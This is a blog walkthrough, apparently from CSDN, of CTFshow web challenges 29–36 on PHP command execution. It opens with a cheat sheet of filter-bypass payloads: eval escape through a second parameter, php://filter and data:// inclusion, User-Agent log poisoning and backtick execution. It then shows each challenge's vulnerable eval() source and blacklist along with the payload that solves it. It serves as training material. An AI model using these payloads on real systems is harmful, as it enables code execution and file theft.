CTFshow web（命令执行29-36）

最新推荐文章于 2024-09-30 20:34:31 发布
最新推荐文章于 2024-09-30 20:34:31 发布
阅读量1.3k 收藏 20
点赞数 17
文章标签： 前端 CTFshow web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/csjjjd/article/details/136073661
版权

?c=eval($_GET[shy]);&shy=passthru('cat flag.php');      #逃逸过滤 

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php        #文件包含

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php           #文件包含
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>  #文件包含
?c=include$_GET[cmd]>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==        #文件包含

?c=data:text/plain; <?php system($_POST[1]);?> POST: 1=tac flag.php   #伪协议

?c=/var/log/nginx/access.log 在 User-Agent插入<?php echo system('ls');?>   #文件日志包含

?c=echo(`tac%09f*`);   #反引号

                                                              web29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

做什么题目都是一样的，既然题目没有给输出flag，那就必须找到flag在哪，但是CTFshow的flag都在flag.php，所以之后也没有太大必要

先来一句?c=system(ls);

因为CTFshow后面flag不输出来的基本都藏在flag.php所以之后没有必要直接system(ls);

上面的基本每一条命令都可以搞定这道题目，而且基本都是降维打击这个栏目很多题目，这里是刷题篇，因为之前没有怎么系统刷过这边题目，这里准备用我之前写的一篇文章一个晚上对这个栏目降维打击，速度补充之前没有系统刷一遍的CTFshow命令执行题目，准备要高效学习命令执行的就看我的一篇文章就好了，先看我之前的文章，不然车速会很快。

一篇文章带你进阶CTF命令执行-CSDN博客

这里直接：?c=eval($_GET[shy]);&shy=passthru('cat flag.php');

                                                                web30

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里直接：?c=eval($_GET[shy]);&shy=passthru('cat flag.php');#逃逸过滤法

降维打击

                                                                web31

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是那个命令：?c=eval($_GET[shy]);&shy=passthru('cat flag.php'); 

当然你要用我文章其他命令也可以，都是降维打击的，是不是很爽！

                                                                web32

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

?c=eval($_GET[shy]);&shy=passthru('cat flag.php'); 

在这段代码中，使用了 PHP 中的 GET 方法来获取参数值。$_GET[shy]代表获取名为"shy"的 GET 参数的值，并将其作为字符串传递给 eval() 函数进行执行。

在这个例子中，如果你通过 URL 的查询参数传递 c=eval($_GET[shy])，那么这个参数会被当做 PHP 代码执行，最终达到逃逸对c的过滤，毕竟那是过滤c的，管我shy什么事！

但是这里把；过滤，没有办法，那就用下一个命令，丢上去就好，原理都在我之前写的文章里面

第二个命令就搞定了,接下来直接base64解码就好！

                                                                          web33

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

做题就两步走，第一步先把上面我给出的所有命令语句的原理给我弄清，第二步下次遇到问题从第一条开始往下梭哈就好，当然别忘了对面有没有过滤特殊符号啊

对面过滤了；，那直接第二条就搞定了

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php 

                                                                        web34

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是第二条命令，记住：如果没有发现flag说明对面在前端或者后端过滤了，那就别犹豫，如果有一些隐性的过滤比如waf，那就一个个尝试命令就好了，毕竟我给列出了那么多命令呢！

                                                                        web35

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是第二条命令

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php

                                                                       web36

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是第二条命令：

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php

磨刀不误砍柴工，看了我之前的文章后，车速自然要加快，10分钟八道题转瞬即逝，苦于篇幅太长，剩下内容在下一篇文章

真心希望我的文章能够帮助大家，谢谢！

补天阁
关注
命令执行类型CTF题目总结
Lelouch_E的博客
11-25 1426
命令执行类型CTF题php命令执行buu Online Tool禁止套娃 php命令执行 buu Online Tool 一段php代码审计： 大致意思是获取x-forward-for头后与glzjin拼接创建文件夹，将传入参数host通过escapeshellarg和escapeshellcmd方法转义后，转到之前创建的文件夹目录，执行nmap命令。 如果两方法以上述顺序执行会有绕过漏洞 传入的参数是：172.17.0.2‘ -v -d a=1 经过escapeshellarg处理后变成了’17
CTFSHOW WEB入门 命令执行 web29-web36
m0_53194713的博客
06-26 1366
ctfshow web29 web30 web31
命令执行的题目加理解
zbbjya的博客
03-21 917
听课笔记ctfshow的理解29 上图中我们会看到有一个preg_match 的函数进行正则表达式的匹配，成功返回1，否则返回0 要有分号不然出不来 phpinfo();使用时后要加分号 分号可以用?>代替 主要作用用法可以看这 https://blog.csdn.net/lituxiu/article/details/89330431?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164783517216781683952973%
CTFshow 命令执行 web29~web36(正则匹配绕过）
最新发布
m0_74312676的博客
09-30 1475
web29~36的考点主要是一些常见的正则表达式的绕过。
指令执行过程（习题）
weixin_43638873的博客
09-05 2180
按照题目中的说法，不采用Cache也不用指令预取，那么当运行到这条指令时，指令尚未取出，并且只能从内存中取。 机器周期一般以内存读取一条指令字的最短时间来定义，而且是可以变长的。 计算机中的取指过程： 转移指令的指令周期： 在取指过程中，MAR（地址寄存器）相当于半路上的中转站 （***第二次对于PC的修改在无条件跳转指令中必定会发生，而在有条件跳转指令中则未必发生，因此题目要强调“无条件跳转指令”***） 取指操作是由控制器自动进行的，如果控制器...
基础题目五：命令执行
king丶
07-31 1277
基础题目五：命令执行 发现过滤 cat | &符没过滤 127.0.0.1& 能执行 127.0.0.1&cat ../key.php 发现还是不行。 那就是过滤了cat 使用\ 127.0.0.1&c\at ../key.php 还是不行，过滤了key 使用通配符 127.0.0.1&c\at ../ke* 通配符 通配符是一种特殊语句，主要有星号(*)和问号(?)，用来模糊搜索文件。当查
命令执行RCE及其绕过详细总结（各情景下的绕过）
2301_76690905的博客
12-12 8370
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组，其中包含当前目录下的所有文件和目录名称（glob()可替换）localeconv() ：返回一包含本地数字及货币格式信息的数组。（但是这里数组第一项就是‘.’，这个.的用处很大）current() ：返回数组中的单元，默认取第一个值。pos()和current()是同一个东西getcwd() :取得当前工作目录dirname():函数返回路径中的目录部分。
ctfshow web入门 命令执行web29-web57详解
2401_84009549的博客
04-20 900
当print_r(scandir(pos(localeconv())));时，会返回当前目录，pos(localeconv())的值为"."将数组用array_reverse进行倒转，并用next将指针指向flag.php最后进行读取,列出两个整理起来就是。
ctfshow-web入门-命令执行-web30
HkD01L的博客
06-21 312
ctfshow,命令执行,web30
ctfshow-web入门-命令执行-web31
HkD01L的博客
06-24 952
ctfshow,命令执行，web31
CTFshow--web入门--命令执行（29--55）
weixin_53425135的博客
11-23 2583
CTFshow–web入门 web29 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 过滤了flag，可以使用通配符进行绕过 : ?c=system(‘cat f*’); web30 <?p
安鸾渗透实战平台-命令执行系列
AAAAAAAAAAAA66的博客
01-27 1604
简单的回顾一下今天刷的命令执行题目 PHP代码练习 直接给一个编辑器可以命令执行，那么直接用php的命令执行函数system， <?php system('ls /');?> cat命令打开 webshell&中国菜刀 题目提示在数据库里 直接用蚁剑连接 进去之后发现一个 配置文件 <?php $servername = "mysql"; $username = "root"; $password = "root"; // 创建连接 $..
ctfshow-web入门——命令执行（1）（web29-web40）
m0_62905745的博客
03-16 988
本篇文章是ctfshow的web入门部分的命令执行部分wp（web29-web 40），包括一些题目解答，自己的笔记和总结，有错误还希望大家指正，一起学习进步！
用CTFShow例题练习命令执行web61-web70
qq_54502707的博客
04-23 415
大家好，这里是KOKO师傅~ 今天和大家一起来继续做CTFShow关于命令执行的题目！
ctfshow-web入门——命令执行（3）（web58-web71）
m0_62905745的博客
03-16 411
本篇文章是ctfshow的web入门部分的命令执行部分wp（web58-web 71），包括一些题目解答，自己的笔记和总结，有错误还希望大家指正，一起学习进步！
2024.3.28日报（RCE远程命令执行）
2302_80946742的博客
03-28 1110
命令执行（Remote Code Execution, RCE）是网络安全中的一种安全漏洞，它允许攻击者在目标系统上远程执行任意代码。这通常是由于应用程序或系统的输入验证不足，或者不安全地处理外部数据造成的。当攻击者能够利用RCE漏洞时，他们可以完全控制受影响的系统，执行各种恶意活动，如数据窃取、系统破坏或者作为跳板攻击其他系统。RCE漏洞可能存在于多种类型的软件中，包括Web应用程序、操作系统、网络设备等。识别漏洞：攻击者首先需要找到一个可以被利用的RCE漏洞。
CTFshow 命令执行 web29-web40
m0_73121489的博客
06-25 303
过滤了反引号、左括号和分号，passthru、printf和echo都用不了，取反绕过也不行，多过滤了php和file，PHP伪协议用不了，只能用data协议。BP抓包，用HackBar传参之后没有内容回显。这题解法也差不多，数字换成字母就可以了。过滤了system，php，flag。涉及到一点文件包含，只过滤了flag。然后在源码里就可以看到flag。base64解码即得flag。法一：php://input。很简单，就过滤了flag。新姿势：嵌套文件包含。和web32一个解法。和web32一个解法。
ctfshow web入门 web29-web38
2301_81040377的博客
04-01 682
一样的做法，一个不用的步骤都没有，中途操作有问题的评论或者私聊帮你解决。但是我的payload根本就没有数字哇，继续用，都已经是套娃了家人们。到手，之前做过日志文件包含所以我看到自己的题解找到的这个"说实话不认真比对真的看不出来有啥区别，这次多了一个等号。没有意外把这个system屏蔽了没事我不用哈哈哈。这里放两张我和大佬聊天的截图，真的很无语。双引号屏蔽了我不用就是了把刚才那个改一下。但是我抱着试一试的情况把他做出来了。php伪协议，最常用的两种命令。user agent传马。某位大佬的题解看到的。
CTFSHOW web入门——web29
m0_74093152的博客
04-23 265
preg_match正则匹配，如果输入的c中含有flag字段就不会将c作为代码执行，即过滤flag。构造payload：?用GET方式获取参数c，然后利用eval函数将c作为代码执行。查看网页源代码获得flag。
ctfshow web入门命令执行
09-05
在CTF中，web入门命令执行指的是通过Web应用程序的漏洞，将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息，可以看到一些常见的双写绕过技巧，如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制，从而注入恶意的命令。 引用中提到的payload，其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外，引用中提供了另一种payload的示例，其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样，也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是，命令执行漏洞是非常危险的，因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击，开发人员应该对用户的输入进行严格的验证和过滤，并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门之命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值